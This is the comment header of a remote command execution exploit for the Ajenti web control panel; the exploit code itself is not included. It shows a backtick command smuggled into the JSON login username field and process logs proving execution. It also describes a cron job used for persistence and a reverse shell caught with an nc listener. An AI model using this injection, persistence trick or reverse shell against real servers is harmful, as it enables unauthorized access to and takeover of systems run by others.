# Ajenti Remote Command Execution Exploit

# -------
# Details
# -------
#
# Ajenti is a web control panel written in Python and AngularJS.
#
# One can locally monitor executed commands on the server while testing
#
# $ sudo ./exec-notify (google for "exec-notify.c", modify output as needed)
# sending proc connector: PROC_CN_MCAST_LISTEN... sent
# Reading process events from proc connector.
# Hit Ctrl-C to exit
#
# Browse over to https://server:8000/view/login/normal to login
#
# .....
# pid=9889 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - test ]
# pid=9889 executed [/bin/su -c /bin/echo SUCCESS - test ]
#
# Modified the JSON request username value to be `id`
#
# pid=7514 executed [/bin/sh -c /bin/su -c "/bin/echo SUCCESS" - `id` ]
# pid=7516 executed [id ]
# pid=7514 executed [/bin/su -c /bin/echo SUCCESS - uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) ]
#
# *ACK.....*
#
# Also the login routine times out after 5 seconds (see auth.py), which
# makes an interactive shell relatively ephemeral. So, we cron job.
#
# $ python3 ajentix.py server.ip shell local-listener.ip
# Done!
#
# $ nc -v -l -p 5555
# Listening on [0.0.0.0] (family 0, port 5555)
# Connection from server.domain 41792 received!
# bash: cannot set terminal process group (18628): Inappropriate ioctl for device
# bash: no job control in this shell
